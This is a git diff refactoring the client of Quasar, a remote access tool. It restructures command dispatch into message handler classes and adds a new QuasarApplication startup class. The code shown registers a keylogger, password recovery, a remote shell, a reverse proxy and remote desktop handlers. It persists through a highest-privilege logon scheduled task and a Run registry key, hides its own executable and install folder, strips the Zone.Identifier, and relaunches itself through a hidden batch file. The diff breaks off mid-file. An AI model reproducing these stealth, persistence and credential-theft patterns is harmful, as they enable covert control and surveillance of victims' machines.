Quasar.Client/Messages/WebsiteVisitorHandler.cs index 47ef8eef1..ef9e1fa26 100644 --- a/Quasar.Client/Commands/MiscHandler.cs +++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -1,25 +1,41 @@ using Quasar.Common.Messages; +using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Net; -using System.Threading; -using System.Windows.Forms; -namespace Quasar.Client.Commands +namespace Quasar.Client.Messages { - /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ - public static partial class CommandHandler + public class WebsiteVisitorHandler : MessageProcessorBase { - public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Client client) + public WebsiteVisitorHandler() : base(false) { - string url = command.Url; + } + + public override bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; if (!url.StartsWith("http")) url = "http://" + url; if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { - if (!command.Hidden) + if (!message.Hidden) Process.Start(url); else { @@ -41,21 +57,13 @@ public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Clien } } - client.Send(new SetStatus {Message = "Visited Website"}); + client.Send(new SetStatus { Message = "Visited Website" }); } } - public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client) + protected override void Dispose(bool disposing) { - new Thread(() => - { - MessageBox.Show(command.Text, command.Caption, - (MessageBoxButtons) Enum.Parse(typeof(MessageBoxButtons), command.Button), - (MessageBoxIcon) Enum.Parse(typeof(MessageBoxIcon), command.Icon), - MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); - }).Start(); - client.Send(new SetStatus {Message = "Showed Messagebox"}); } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index 1b3dcf4cb..d5279628c 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -632,7 +632,7 @@ public void Disconnect() _payloadLen = 0; _payloadBuffer = null; _receiveState = ReceiveType.Header; - //_singleWriteMutex.Dispose(); TODO: fix socket re-use + //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect if (_proxyClients != null) { @@ -648,12 +648,6 @@ public void Disconnect() } } } - - if (Commands.CommandHandler.StreamCodec != null) - { - Commands.CommandHandler.StreamCodec.Dispose(); - Commands.CommandHandler.StreamCodec = null; - } } OnClientState(false); diff --git a/Quasar.Client/Networking/PacketHandler.cs b/Quasar.Client/Networking/PacketHandler.cs deleted file mode 100644 index 971fcda56..000000000 --- a/Quasar.Client/Networking/PacketHandler.cs +++ /dev/null @@ -1,156 +0,0 @@ -using Quasar.Client.Commands; -using Quasar.Client.ReverseProxy; -using Quasar.Common.Messages; -using Quasar.Common.Messages.ReverseProxy; - -namespace Quasar.Client.Networking -{ - public static class PacketHandler - { - public static void HandlePacket(Client client, IMessage packet) - { - var type = packet.GetType(); - - if (type == typeof(GetDesktop)) - { - CommandHandler.HandleGetDesktop((GetDesktop)packet, client); - } - else if (type == typeof(GetProcesses)) - { - CommandHandler.HandleGetProcesses((GetProcesses)packet, client); - } - else if (type == typeof(DoProcessKill)) - { - CommandHandler.HandleDoProcessKill((DoProcessKill)packet, client); - } - else if (type == typeof(GetDrives)) - { - CommandHandler.HandleGetDrives((GetDrives)packet, client); - } - else if (type == typeof(GetDirectory)) - { - CommandHandler.HandleGetDirectory((GetDirectory)packet, client); - } - else if (type == typeof(FileTransferRequest)) - { - CommandHandler.HandleDoDownloadFile((FileTransferRequest)packet, client); - } - else if (type == typeof(FileTransferChunk)) - { - CommandHandler.HandleDoUploadFile((FileTransferChunk)packet, client); - } - else if (type == typeof(DoMouseEvent)) - { - CommandHandler.HandleDoMouseEvent((DoMouseEvent)packet, client); - } - else if (type == typeof(DoKeyboardEvent)) - { - CommandHandler.HandleDoKeyboardEvent((DoKeyboardEvent)packet, client); - } - else if (type == typeof(GetSystemInfo)) - { - CommandHandler.HandleGetSystemInfo((GetSystemInfo)packet, client); - } - else if (type == typeof(DoVisitWebsite)) - { - CommandHandler.HandleDoVisitWebsite((DoVisitWebsite)packet, client); - } - else if (type == typeof(DoShowMessageBox)) - { - CommandHandler.HandleDoShowMessageBox((DoShowMessageBox)packet, client); - } - else if (type == typeof(GetMonitors)) - { - CommandHandler.HandleGetMonitors((GetMonitors)packet, client); - } - else if (type == typeof(DoShellExecute)) - { - CommandHandler.HandleDoShellExecute((DoShellExecute)packet, client); - } - else if (type == typeof(DoPathRename)) - { - CommandHandler.HandleDoPathRename((DoPathRename)packet, client); - } - else if (type == typeof(DoPathDelete)) - { - CommandHandler.HandleDoPathDelete((DoPathDelete)packet, client); - } - else if (type == typeof(DoShutdownAction)) - { - CommandHandler.HandleDoShutdownAction((DoShutdownAction)packet, client); - } - else if (type == typeof(GetStartupItems)) - { - CommandHandler.HandleGetStartupItems((GetStartupItems)packet, client); - } - else if (type == typeof(DoStartupItemAdd)) - { - CommandHandler.HandleDoStartupItemAdd((DoStartupItemAdd)packet, client); - } - else if (type == typeof(DoStartupItemRemove)) - { - CommandHandler.HandleDoStartupItemRemove((DoStartupItemRemove)packet, client); - } - else if (type == typeof(FileTransferCancel)) - { - CommandHandler.HandleDoDownloadFileCancel((FileTransferCancel)packet, - client); - } - else if (type == typeof(DoLoadRegistryKey)) - { - CommandHandler.HandleGetRegistryKey((DoLoadRegistryKey)packet, client); - } - else if (type == typeof(DoCreateRegistryKey)) - { - CommandHandler.HandleCreateRegistryKey((DoCreateRegistryKey)packet, client); - } - else if (type == typeof(DoDeleteRegistryKey)) - { - CommandHandler.HandleDeleteRegistryKey((DoDeleteRegistryKey)packet, client); - } - else if (type == typeof(DoRenameRegistryKey)) - { - CommandHandler.HandleRenameRegistryKey((DoRenameRegistryKey)packet, client); - } - else if (type == typeof(DoCreateRegistryValue)) - { - CommandHandler.HandleCreateRegistryValue((DoCreateRegistryValue)packet, client); - } - else if (type == typeof(DoDeleteRegistryValue)) - { - CommandHandler.HandleDeleteRegistryValue((DoDeleteRegistryValue)packet, client); - } - else if (type == typeof(DoRenameRegistryValue)) - { - CommandHandler.HandleRenameRegistryValue((DoRenameRegistryValue)packet, client); - } - else if (type == typeof(DoChangeRegistryValue)) - { - CommandHandler.HandleChangeRegistryValue((DoChangeRegistryValue)packet, client); - } - else if (type == typeof(GetPasswords)) - { - CommandHandler.HandleGetPasswords((GetPasswords)packet, client); - } - else if (type == typeof(ReverseProxyConnect) || - type == typeof(ReverseProxyConnectResponse) || - type == typeof(ReverseProxyData) || - type == typeof(ReverseProxyDisconnect)) - { - ReverseProxyCommandHandler.HandleCommand(client, packet); - } - else if (type == typeof(GetConnections)) - { - CommandHandler.HandleGetConnections(client, (GetConnections)packet); - } - else if (type == typeof(DoCloseConnection)) - { - CommandHandler.HandleDoCloseConnection(client, (DoCloseConnection)packet); - } - else if (type == typeof(DoRemoteExecution)) - { - CommandHandler.HandleDoRemoteExecution((DoRemoteExecution)packet, client); - } - } - } -} \ No newline at end of file diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 4306b5059..6735cbdf7 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -1,9 +1,6 @@ -using Quasar.Client.Commands; -using Quasar.Client.Config; -using Quasar.Client.Data; -using Quasar.Client.IpGeoLocation; +using Quasar.Client.Config; using Quasar.Client.Helper; -using Quasar.Client.Utilities; +using Quasar.Client.IpGeoLocation; using Quasar.Common.Helpers; using Quasar.Common.Messages; using Quasar.Common.Utilities; @@ -12,6 +9,7 @@ using System.Security.Cryptography.X509Certificates; using System.Threading; using System.Windows.Forms; +using Quasar.Common.DNS; namespace Quasar.Client.Networking { @@ -20,7 +18,7 @@ public class QuasarClient : Client /// /// When Exiting is true, stop all running threads and exit. /// - public static bool Exiting { get; private set; } + public bool Exiting { get; private set; } public bool Identified { get; private set; } private readonly HostsManager _hosts; private readonly SafeRandom _random; @@ -35,9 +33,8 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat base.ClientFail += OnClientFail; } - public void Connect() + public void ConnectLoop() { - // TODO: move connect loop to QuasarApplication // TODO: do not re-use object while (!Exiting) // Main Connect Loop { @@ -83,7 +80,6 @@ private void OnClientRead(Client client, IMessage message, int messageLength) } MessageHandler.Process(client, message); - PacketHandler.HandlePacket(client, message); } private void OnClientFail(Client client, Exception ex) @@ -117,24 +113,7 @@ private void OnClientState(Client client, bool connected) EncryptionKey = Settings.ENCRYPTIONKEY, Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) }); - - if (ClientData.AddToStartupFailed) - { - Thread.Sleep(2000); - client.Send(new SetStatus - { - Message = "Adding to startup failed." - }); - } } - - if (!connected && !Exiting) - LostConnection(); - } - - private void LostConnection() - { - CommandHandler.CloseShell(); } public void Exit() diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index e94e831af..3f4800c35 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -1,30 +1,11 @@ -using Quasar.Client.Commands; -using Quasar.Client.Config; -using Quasar.Client.Data; -using Quasar.Client.Helper; -using Quasar.Client.Setup; -using Quasar.Client.IO; -using Quasar.Client.Networking; -using Quasar.Client.Utilities; -using Quasar.Common.Helpers; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; +using System; using System.Net; -using System.Threading; using System.Windows.Forms; -using Quasar.Client.Messages; -using Quasar.Common.Messages; namespace Quasar.Client { internal static class Program { - public static QuasarClient ConnectClient; - private static readonly List MessageProcessors = new List(); - private static ApplicationContext _msgLoop; - [STAThread] private static void Main(string[] args) { @@ -33,147 +14,7 @@ private static void Main(string[] args) Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; - - if (Settings.Initialize()) - { - if (Initialize()) - { - if (!QuasarClient.Exiting) - ConnectClient.Connect(); - } - } - - Cleanup(); - Exit(); - } - - private static void Exit() - { - // Don't wait for other threads - if (_msgLoop != null || Application.MessageLoop) - Application.Exit(); - else - Environment.Exit(0); - } - - private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) - { - if (e.IsTerminating) - { - string batchFile = BatchFile.CreateRestartBatch(ClientData.CurrentPath); - if (string.IsNullOrEmpty(batchFile)) return; - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - Exit(); - } - } - - private static void Cleanup() - { - CleanupMessageProcessors(); - CommandHandler.CloseShell(); - if (CommandHandler.StreamCodec != null) - CommandHandler.StreamCodec.Dispose(); - if (Keylogger.Instance != null) - Keylogger.Instance.Dispose(); - if (_msgLoop != null) - { - _msgLoop.ExitThread(); - _msgLoop.Dispose(); - _msgLoop = null; - } - MutexHelper.CloseMutex(); - } - - private static void InitializeMessageProcessors(QuasarClient client) - { - MessageProcessors.Add(new ClientServicesHandler(ConnectClient)); - MessageProcessors.Add(new KeyloggerHandler()); - - foreach(var msgProc in MessageProcessors) - MessageHandler.Register(msgProc); - } - - private static void CleanupMessageProcessors() - { - foreach (var msgProc in MessageProcessors) - { - MessageHandler.Unregister(msgProc); - msgProc.Dispose(); - } - } - - private static bool Initialize() - { - var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); - - // process with same mutex is already running - if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect - return false; - - ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); - - FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); - - if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) - { - WindowsAccountHelper.StartUserIdleCheckThread(); - - if (Settings.STARTUP) - { - if (!Startup.AddToStartup()) - ClientData.AddToStartupFailed = true; - } - - if (Settings.INSTALL && Settings.HIDEFILE) - { - try - { - File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); - } - catch (Exception) - { - } - } - if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) - { - try - { - DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); - di.Attributes |= FileAttributes.Hidden; - - } - catch (Exception) - { - } - } - if (Settings.ENABLELOGGER) - { - new Thread(() => - { - _msgLoop = new ApplicationContext(); - Keylogger logger = new Keylogger(15000); - Application.Run(_msgLoop); - }) {IsBackground = true}.Start(); - } - - ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); - InitializeMessageProcessors(ConnectClient); - return true; - } - else - { - MutexHelper.CloseMutex(); - new ClientInstaller().Install(ConnectClient); - return false; - } + new QuasarApplication().Run(); } } -} \ No newline at end of file +} diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs new file mode 100644 index 000000000..9df628036 --- /dev/null +++ b/Quasar.Client/QuasarApplication.cs @@ -0,0 +1,171 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using Quasar.Client.Logging; +using Quasar.Client.Messages; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.Utilities; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client +{ + public class QuasarApplication + { + public SingleInstanceMutex ApplicationMutex; + public QuasarClient ConnectClient; + private readonly List _messageProcessors; + private KeyloggerService _keyloggerService; + + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + public QuasarApplication() + { + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + _messageProcessors = new List(); + } + + public void Run() + { + // decrypt and verify the settings + if (Settings.Initialize()) + { + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (ApplicationMutex.CreatedNew) + { + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + new ClientInstaller().Install(); + } + else + { + // (re)apply settings and proceed with connect loop + ApplySettings(); + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(ConnectClient); + ConnectClient.ConnectLoop(); + } + } + } + + Cleanup(); + Exit(); + } + + private static void Exit() + { + // Don't wait for other threads + Environment.Exit(0); + } + + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + if (string.IsNullOrEmpty(batchFile)) return; + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + Exit(); + } + } + + private void Cleanup() + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + ApplicationMutex.Dispose(); + } + + private void InitializeMessageProcessors(QuasarClient client) + { + _messageProcessors.Add(new ClientServicesHandler(this, client)); + _messageProcessors.Add(new FileManagerHandler(client)); + _messageProcessors.Add(new KeyloggerHandler()); + _messageProcessors.Add(new MessageBoxHandler()); + _messageProcessors.Add(new PasswordRecoveryHandler()); + _messageProcessors.Add(new RegistryHandler(client)); + _messageProcessors.Add(new RemoteDesktopHandler(client)); + _messageProcessors.Add(new RemoteShellHandler(client)); + _messageProcessors.Add(new ReverseProxyHandler(client)); + _messageProcessors.Add(new ShutdownHandler()); + _messageProcessors.Add(new StartupManagerHandler()); + _messageProcessors.Add(new SystemInformationHandler()); + _messageProcessors.Add(new TaskManagerHandler(client)); + _messageProcessors.Add(new TcpConnectionsHandler(client)); + _messageProcessors.Add(new UserStatusHandler(client)); + _messageProcessors.Add(new WebsiteVisitorHandler()); + + foreach (var msgProc in _messageProcessors) + MessageHandler.Register(msgProc); + } + + private void CleanupMessageProcessors() + { + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Unregister(msgProc); + msgProc.Dispose(); + } + } + + private void ApplySettings() + { + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + if (Settings.STARTUP) + { + Startup.AddToStartup(); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); + } + catch (Exception) + { + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception) + { + } + } + + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.StartService(); + } + } + + } +} diff --git a/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs deleted file mode 100644 index 6fa046e60..000000000 --- a/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Quasar.Common.Messages; -using Quasar.Common.Messages.ReverseProxy; - -namespace Quasar.Client.ReverseProxy -{ - public class ReverseProxyCommandHandler - { - public static void HandleCommand(Networking.Client client, IMessage packet) - { - var type = packet.GetType(); - - if (type == typeof (ReverseProxyConnect)) - { - client.ConnectReverseProxy((ReverseProxyConnect) packet); - } - else if (type == typeof (ReverseProxyData)) - { - ReverseProxyData dataCommand = (ReverseProxyData)packet; - ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId); - - if (proxyClient != null) - { - proxyClient.SendToTargetServer(dataCommand.Data); - } - } - else if (type == typeof (ReverseProxyDisconnect)) - { - ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet; - ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.Disconnect(); - } - } - } - } -} \ No newline at end of file diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs index 368b34199..0dbe926ff 100644 --- a/Quasar.Client/Setup/ClientInstaller.cs +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -1,26 +1,25 @@ using Quasar.Client.Config; -using Quasar.Client.Data; using Quasar.Common.Helpers; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.IO; using System.Threading; +using System.Windows.Forms; namespace Quasar.Client.Setup { public class ClientInstaller { - public void Install(ISender client) + public void Install() { bool isKilled = false; // create target dir - if (!Directory.Exists(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY))) + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) { try { - Directory.CreateDirectory(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY)); + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); } catch (Exception) { @@ -29,11 +28,11 @@ public void Install(ISender client) } // delete existing file - if (File.Exists(ClientData.InstallPath)) + if (File.Exists(Settings.INSTALLPATH)) { try { - File.Delete(ClientData.InstallPath); + File.Delete(Settings.INSTALLPATH); } catch (Exception ex) { @@ -41,7 +40,7 @@ public void Install(ISender client) { // kill old process if new mutex Process[] foundProcesses = - Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientData.InstallPath)); + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); int myPid = Process.GetCurrentProcess().Id; foreach (var prc in foundProcesses) { @@ -58,7 +57,7 @@ public void Install(ISender client) //copy client to target dir try { - File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true); + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); } catch (Exception) { @@ -67,22 +66,21 @@ public void Install(ISender client) if (Settings.STARTUP) { - if (!Startup.AddToStartup()) - ClientData.AddToStartupFailed = true; + Startup.AddToStartup(); } if (Settings.HIDEFILE) { try { - File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden); + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); } catch (Exception) { } } - FileHelper.DeleteZoneIdentifier(ClientData.InstallPath); + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); //start file var startInfo = new ProcessStartInfo @@ -90,7 +88,7 @@ public void Install(ISender client) WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false, - FileName = ClientData.InstallPath + FileName = Settings.INSTALLPATH }; try { diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index 973048c06..c384736d7 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,11 +1,10 @@ using Quasar.Client.Config; -using Quasar.Client.Data; using Quasar.Client.IO; -using Quasar.Client.Utilities; using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Diagnostics; +using System.Windows.Forms; namespace Quasar.Client.Setup { @@ -18,7 +17,7 @@ public bool Uninstall(ISender client) if (Settings.STARTUP) Startup.RemoveFromStartup(); - string batchFile = BatchFile.CreateUninstallBatch(ClientData.CurrentPath, Keylogger.LogDirectory); + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); if (string.IsNullOrEmpty(batchFile)) throw new Exception("Could not create uninstall-batch file"); diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs index 9a2a15c05..65923880c 100644 --- a/Quasar.Client/Setup/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -1,5 +1,4 @@ using Quasar.Client.Config; -using Quasar.Client.Data; using Quasar.Client.IO; using Quasar.Client.Utilities; using Quasar.Common.Helpers; @@ -8,6 +7,7 @@ using System; using System.Diagnostics; using System.IO; +using System.Windows.Forms; namespace Quasar.Client.Setup { @@ -23,7 +23,7 @@ public static bool Update(ISender client, string newFilePath) if (!FileHelper.HasExecutableIdentifier(bytes)) throw new Exception("no pe file"); - string batchFile = BatchFile.CreateUpdateBatch(ClientData.CurrentPath, newFilePath); + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); if (string.IsNullOrEmpty(batchFile)) throw new Exception("Could not create update batch file."); diff --git a/Quasar.Client/Setup/Startup.cs b/Quasar.Client/Setup/Startup.cs index 2bd639b85..845bf4034 100644 --- a/Quasar.Client/Setup/Startup.cs +++ b/Quasar.Client/Setup/Startup.cs @@ -1,9 +1,9 @@ -using System; -using System.Diagnostics; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Config; -using Quasar.Client.Data; using Quasar.Client.Helper; +using System; +using System.Diagnostics; +using System.Windows.Forms; namespace Quasar.Client.Setup { @@ -17,7 +17,7 @@ public static bool AddToStartup() { ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") { - Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + ClientData.CurrentPath + "\" /rl HIGHEST /f", + Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f", UseShellExecute = false, CreateNoWindow = true }; @@ -31,13 +31,13 @@ public static bool AddToStartup() } return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, true); } else { return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, true); } } diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs new file mode 100644 index 000000000..52a7db33b --- /dev/null +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,29 @@ +using System; +using System.Threading; + +namespace Quasar.Client.Utilities +{ + public class SingleInstanceMutex : IDisposable + { + private readonly Mutex _appMutex; + + public bool CreatedNew { get; } + + public bool IsDisposed { get; private set; } + + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, name, out var createdNew); + CreatedNew = createdNew; + } + + public void Dispose() + { + if (!IsDisposed) + { + _appMutex?.Dispose(); + IsDisposed = true; + } + } + } +} diff --git a/Quasar.Client/Data/Host.cs b/Quasar.Common/DNS/Host.cs similarity index 96% rename from Quasar.Client/Data/Host.cs rename to Quasar.Common/DNS/Host.cs index 7be8b4e2d..be9318455 100644 --- a/Quasar.Client/Data/Host.cs +++ b/Quasar.Common/DNS/Host.cs @@ -1,6 +1,6 @@ using System.Net; -namespace Quasar.Client.Data +namespace Quasar.Common.DNS { public class Host { diff --git a/Quasar.Client/Helper/HostHelper.cs b/Quasar.Common/DNS/HostsConverter.cs similarity index 67% rename from Quasar.Client/Helper/HostHelper.cs rename to Quasar.Common/DNS/HostsConverter.cs index d373deda0..905a335e7 100644 --- a/Quasar.Client/Helper/HostHelper.cs +++ b/Quasar.Common/DNS/HostsConverter.cs @@ -1,13 +1,12 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using Quasar.Client.Data; -namespace Quasar.Client.Helper +namespace Quasar.Common.DNS { - public static class HostHelper + public class HostsConverter { - public static List GetHostsList(string rawHosts) + public List RawHostsToList(string rawHosts) { List hostsList = new List(); @@ -17,19 +16,18 @@ public static List GetHostsList(string rawHosts) foreach (var host in hosts) { - // invalid host, ignore - if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore ushort port; if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host - hostsList.Add(new Host {Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port}); + hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port }); } return hostsList; } - public static string GetRawHosts(List hosts) + public string ListToRawHosts(IList hosts) { StringBuilder rawHosts = new StringBuilder(); diff --git a/Quasar.Client/Utilities/HostsManager.cs b/Quasar.Common/DNS/HostsManager.cs similarity index 88% rename from Quasar.Client/Utilities/HostsManager.cs rename to Quasar.Common/DNS/HostsManager.cs index ada0083c5..182895a1f 100644 --- a/Quasar.Client/Utilities/HostsManager.cs +++ b/Quasar.Common/DNS/HostsManager.cs @@ -1,13 +1,12 @@ using System.Collections.Generic; using System.Net; using System.Net.Sockets; -using Quasar.Client.Data; -namespace Quasar.Client.Utilities +namespace Quasar.Common.DNS { public class HostsManager { - public bool IsEmpty { get { return _hosts.Count == 0; } } + public bool IsEmpty => _hosts.Count == 0; private readonly Queue _hosts = new Queue(); @@ -22,11 +21,11 @@ public Host GetNextHost() var temp = _hosts.Dequeue(); _hosts.Enqueue(temp); // add to the end of the queue - temp.IpAddress = GetIp(temp); + temp.IpAddress = ResolveHostname(temp); return temp; } - private static IPAddress GetIp(Host host) + private static IPAddress ResolveHostname(Host host) { if (string.IsNullOrEmpty(host.Hostname)) return null; diff --git a/Quasar.Common/Enums/ProcessAction.cs b/Quasar.Common/Enums/ProcessAction.cs new file mode 100644 index 000000000..048ae7308 --- /dev/null +++ b/Quasar.Common/Enums/ProcessAction.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum ProcessAction + { + Start, + End + } +} diff --git a/Quasar.Common/Messages/DoProcessKill.cs b/Quasar.Common/Messages/DoProcessEnd.cs similarity index 78% rename from Quasar.Common/Messages/DoProcessKill.cs rename to Quasar.Common/Messages/DoProcessEnd.cs index 1b23d38ce..318ba21ef 100644 --- a/Quasar.Common/Messages/DoProcessKill.cs +++ b/Quasar.Common/Messages/DoProcessEnd.cs @@ -3,7 +3,7 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoProcessKill : IMessage + public class DoProcessEnd : IMessage { [ProtoMember(1)] public int Pid { get; set; } diff --git a/Quasar.Common/Messages/DoProcessResponse.cs b/Quasar.Common/Messages/DoProcessResponse.cs new file mode 100644 index 000000000..8a35badce --- /dev/null +++ b/Quasar.Common/Messages/DoProcessResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessResponse : IMessage + { + [ProtoMember(1)] + public ProcessAction Action { get; set; } + + [ProtoMember(2)] + public bool Result { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoRemoteExecution.cs b/Quasar.Common/Messages/DoProcessStart.cs similarity index 86% rename from Quasar.Common/Messages/DoRemoteExecution.cs rename to Quasar.Common/Messages/DoProcessStart.cs index efee4ceea..be9b55a53 100644 --- a/Quasar.Common/Messages/DoRemoteExecution.cs +++ b/Quasar.Common/Messages/DoProcessStart.cs @@ -3,7 +3,7 @@ namespace 